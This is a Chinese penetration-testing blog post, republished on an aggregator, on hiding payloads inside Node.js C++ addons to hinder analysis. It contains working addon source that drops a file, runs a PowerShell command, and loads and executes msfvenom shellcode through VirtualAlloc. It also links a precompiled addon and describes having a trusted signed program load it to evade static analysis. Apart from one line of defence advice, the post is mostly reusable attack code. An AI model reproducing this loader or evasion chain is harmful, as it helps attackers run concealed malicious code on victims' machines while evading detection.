11

渗透测试中的Node.js——利用C++插件隐藏真实代码

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84Node.js-%E5%88%A9%E7%94%A8C++%E6%8F%92%E4%BB%B6%E9%9A%90%E8%97%8F%E7%9C%9F%E5%AE%9E%E4%BB%A3%E7%A0%81/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0x00 前言


在之前的文章《渗透测试中的Node.js——Downloader的实现》开源了一个使用Node.js实现Downloader的代码,简要分析在渗透测试中的利用思路。

Node.js的语法简单易懂,所以Node.js代码也很容易被分析。

为了增加Node.js代码被分析的难度,我的思路是利用Node.js的一个功能,将payload以C++插件的形式进行封装。

这样不但能够增加Node.js代码被分析的难度,而且可以用C++代码来实现payload,已有的C++代码经过简单的修改即可使用,减小二次开发的成本。

0x01 简介


本文将要介绍以下内容:

  • C++插件简介
  • 搭建C++插件的开发环境
  • C++插件代码实例

0x02 C++插件简介


Node.js C++插件是用C++编写的动态链接库,可以使用require()函数加载到Node.js中。利用V8提供的API,可以实现JavaScript和C++的互相调用,打通JavaScript和C++之间的接口。

官方文档:

https://nodejs.org/api/addons.html

使用实例:

  1. 编译成功一个C++插件,导出方法为:hello

  2. 使用Node.js调用C++插件导出方法的代码如下:

const addon = require('./addon.node');
addon.hello();
node.exe test.js

0x03 搭建C++插件的开发环境


1、Windows开发环境

测试系统:Win7sp1 x64

需要安装以下工具:

  • .NET Framework 4.5.1或更高版本
  • Python 2.7
  • Visual Studio 2015或更高版本

具体搭建流程如下:

1.安装.NET Framework 4.5.1

https://www.microsoft.com/en-US/download/details.aspx?id=5842

2.下载Node.js

https://nodejs.org/en/download/

3.使用Windows-Build-Tools自动安装依赖工具

https://github.com/felixrieseberg/windows-build-tools

cd c:\
powershell
npm install --global windows-build-tools

如果安装失败,可选择手动安装以下工具:

  • Python 2.7
  • Visual Studio 2015或更高版本

4.安装node-gyp

https://github.com/nodejs/node-gyp

npm install -g node-gyp

2、Linux开发环境

wget https://nodejs.org/dist/v10.15.3/node-v10.15.3-linux-x64.tar.xz
tar xf node-v10.15.3-linux-x64.tar.xz
cd node-v10.15.3-linux-x64
cd bin
export PATH=/root/node-v10.15.3-linux-x64/bin:$PATH
./npm install -g node-gyp

注:

需要添加环境变量指定node的位置(export PATH=/root/node-v10.15.3-linux-x64/bin:$PATH),否则在执行npm install会失败,提示/usr/bin/env: ‘node’: No such file or directory

实例演示:

  1. hello.cc:
#include <node.h>
namespace demo {
using v8::FunctionCallbackInfo;
using v8::Isolate;
using v8::Local;
using v8::NewStringType;
using v8::Object;
using v8::String;
using v8::Value;

void Method(const FunctionCallbackInfo<Value>& args) {
  Isolate* isolate = args.GetIsolate();
  args.GetReturnValue().Set(String::NewFromUtf8(
      isolate, "world", NewStringType::kNormal).ToLocalChecked());
}

void Initialize(Local<Object> exports) {
  NODE_SET_METHOD(exports, "hello", Method);
}

NODE_MODULE(NODE_GYP_MODULE_NAME, Initialize)

}  // namespace demo
  1. binding.gyp
{
  "targets": [
    {
      "target_name": "addon",
      "sources": [ "hello.cc" ]
    }
  ]
}
  1. 通过node-gyp编译,生成插件
node-gyp configure
node-gyp build

注:

可以合并成一条命令:

node-gyp configure build

Node.js支持交叉编译,具体参数说明可参考:

https://www.npmjs.com/package/node-pre-gyp

Linux系统下生成Windows64位系统下使用的插件命令如下:

node-gyp configure build --target_arch=x64 --target_platform=win32

0x04 C++插件代码实例


在开发时,最好避免出现if这种的条件判断语句,直接使用会导致编译错误

1. 释放文件

#include <node.h>
#include <stdio.h>
namespace demo {
	using v8::FunctionCallbackInfo;
	using v8::Isolate;
	using v8::Local;
	using v8::Object;
	using v8::String;
	using v8::Value;

	void Method(const FunctionCallbackInfo<Value>& args) {
		FILE* fp;
		fopen_s(&fp, "new.txt", "ab+");
		char *buf = "123456";
		fwrite(buf, strlen(buf), 1, fp);
		fseek(fp, 0, SEEK_END);
		fclose(fp);
	}

	void init(Local<Object> exports) {
		NODE_SET_METHOD(exports, "hello", Method);
	}
	NODE_MODULE(NODE_GYP_MODULE_NAME, init)
}

2. 执行命令:

#include <node.h>
namespace demo {
	using v8::FunctionCallbackInfo;
	using v8::Isolate;
	using v8::Local;
	using v8::Object;
	using v8::String;
	using v8::Value;

	void Method(const FunctionCallbackInfo<Value>& args) {
		system("powershell start calc.exe");
	}

	void init(Local<Object> exports) {
		NODE_SET_METHOD(exports, "hello", Method);
	}
	NODE_MODULE(NODE_GYP_MODULE_NAME, init)
}

3.执行shellcode

生成shellcode:

msfvenom -p windows/x64/exec CMD=calc.exe -f c

加载shellcode并执行:

#include <node.h>
#include <Windows.h>
namespace demo {
	using v8::FunctionCallbackInfo;
	using v8::Isolate;
	using v8::Local;
	using v8::Object;
	using v8::String;
	using v8::Value;

	void Method(const FunctionCallbackInfo<Value>& args) {
		unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
			"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
			"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
			"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
			"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
			"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
			"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
			"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
			"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
			"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
			"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
			"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
			"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
			"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
			"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
			"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
			"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
			"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
			"\x63\x2e\x65\x78\x65\x00";
		void *sc = VirtualAlloc(0, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		memcpy(sc, shellcode, sizeof(shellcode));
		(*(int(*)()) sc)();

	}

	void init(Local<Object> exports) {
		NODE_SET_METHOD(exports, "hello", Method);
	}
	NODE_MODULE(NODE_GYP_MODULE_NAME, init)
}

编译好的插件已上传至github,地址如下:

https://github.com/3gstudent/test/raw/master/addon.node

以上插件代码的导出方法均为hello,调用方式如下:

const addon = require('./addon.node');
addon.hello();

0x05 利用思路


1、被第三方可信程序加载

https://bbs.pediy.com/thread-249573.htm

t.exe->node.exe->main.js

main.js与addon.node放在同级目录,main.js的内容如下:

const addon = require('./addon.node');
addon.hello();

addon.node的格式为dll文件,无法直接获得payload,增加静态分析的成本

0x06 防御建议


对t.exe的子进程(node.exe)行为进行判断,如果有可疑行为进行拦截,取消对该证书的信任

0x07 小结


本文介绍了Node.js中C++插件的用法,可以用来增加Node.js代码被分析的难度,最后分享了三个payload的写法。


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK